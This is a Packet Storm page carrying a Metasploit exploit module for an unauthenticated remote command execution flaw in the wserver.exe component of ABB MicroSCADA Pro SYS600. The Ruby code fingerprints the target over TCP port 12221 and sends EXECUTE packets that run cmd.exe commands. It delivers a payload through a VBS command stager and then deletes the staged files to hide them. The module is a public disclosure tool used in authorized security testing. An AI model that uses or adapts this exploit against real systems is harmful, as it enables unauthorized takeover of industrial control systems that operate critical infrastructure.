exploit the possibilities

ABB MicroSCADA wserver.exe Remote Code Execution

ABB MicroSCADA wserver.exe Remote Code Execution
Posted Nov 30, 2013
Authored by juan vazquez, Brian Gorenc | Site metasploit.com

This Metasploit module exploits a remote stack buffer overflow vulnerability in ABB MicroSCADA. The issue is due to the handling of unauthenticated EXECUTE operations on the wserver.exe component, which allows arbitrary commands. The component is disabled by default, but required when a project uses the SCIL function WORKSTATION_CALL. This Metasploit module has been tested successfully on ABB MicroSCADA Pro SYS600 9.3 over Windows XP SP3 and Windows 7 SP1.

tags | exploit, remote, overflow, arbitrary
systems | windows, xp, 7
MD5 | 010dfb98036153494bc0b0ce337716be

ABB MicroSCADA wserver.exe Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStagerVBS

def initialize(info = {})
super(update_info(info,
'Name' => 'ABB MicroSCADA wserver.exe Remote Code Execution',
'Description' => %q{
This module exploits a remote stack buffer overflow vulnerability in ABB MicroSCADA. The
issue is due to the handling of unauthenticated EXECUTE operations on the wserver.exe
component, which allows arbitrary commands. The component is disabled by default, but
required when a project uses the SCIL function WORKSTATION_CALL.

This module has been tested successfully on ABB MicroSCADA Pro SYS600 9.3 over
Windows XP SP3 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brian Gorenc', # Original discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'OSVDB', '100324'],
[ 'ZDI', '13-270' ],
[ 'URL', 'http://www05.abb.com/global/scot/scot229.nsf/veritydisplay/41ccfa8ccd0431e6c1257c1200395574/$file/ABB_SoftwareVulnerabilityHandlingAdvisory_ABB-VU-PSAC-1MRS235805.pdf']
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'DefaultOptions' =>
{
'WfsDelay' => 5
},
'Targets' =>
[
[ 'ABB MicroSCADA Pro SYS600 9.3', { } ]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Apr 05 2013'
))

register_options([Opt::RPORT(12221)], self.class)
end

def check

# Send an EXECUTE packet without command, a valid response
# should include an error code, which is good enough to
# fingerprint.
op = "EXECUTE\x00"
pkt_length = [4 + op.length].pack("V") # 4 because of the packet length
pkt = pkt_length
pkt << op

connect
sock.put(pkt)
res = sock.get_once
disconnect

if res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 0xe10001
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe

end

def exploit
# More then 750 will trigger overflow...
# Cleaning is done by the exploit on execute_cmdstager_end
execute_cmdstager({:linemax => 750, :nodelete => true})
end

def execute_cmdstager_end(opts)
@var_tempdir = @stager_instance.instance_variable_get(:@tempdir)
@var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
@var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
@var_decoder = @stager_instance.instance_variable_get(:@var_decoder)
print_status("Trying to delete #{@var_tempdir}#{@var_encoded}.b64...")
execute_command("del #{@var_tempdir}#{@var_encoded}.b64", {})
print_status("Trying to delete #{@var_tempdir}#{@var_decoder}.vbs...")
execute_command("del #{@var_tempdir}#{@var_decoder}.vbs", {})
print_status("Trying to delete #{@var_tempdir}#{@var_decoded}.exe...")
execute_command("del #{@var_tempdir}#{@var_decoded}.exe", {})
end

def execute_command(cmd, opts)
op = "EXECUTE\x00"
command = "cmd.exe /c #{cmd}"
pkt_length = [4 + op.length + command.length].pack("V") # 4 because of the packet length

pkt = pkt_length
pkt << op
pkt << command

connect
sock.put(pkt)
res = sock.get_once
disconnect

unless res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 1
fail_with(Failure::UnexpectedReply, "Unexpected reply while executing the cmdstager")
end
end
end
Login or Register to add favorites

File Archive:

September 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    14 Files
  • 2
    Sep 2nd
    19 Files
  • 3
    Sep 3rd
    9 Files
  • 4
    Sep 4th
    1 Files
  • 5
    Sep 5th
    2 Files
  • 6
    Sep 6th
    3 Files
  • 7
    Sep 7th
    12 Files
  • 8
    Sep 8th
    22 Files
  • 9
    Sep 9th
    17 Files
  • 10
    Sep 10th
    19 Files
  • 11
    Sep 11th
    3 Files
  • 12
    Sep 12th
    2 Files
  • 13
    Sep 13th
    15 Files
  • 14
    Sep 14th
    16 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    7 Files
  • 17
    Sep 17th
    13 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close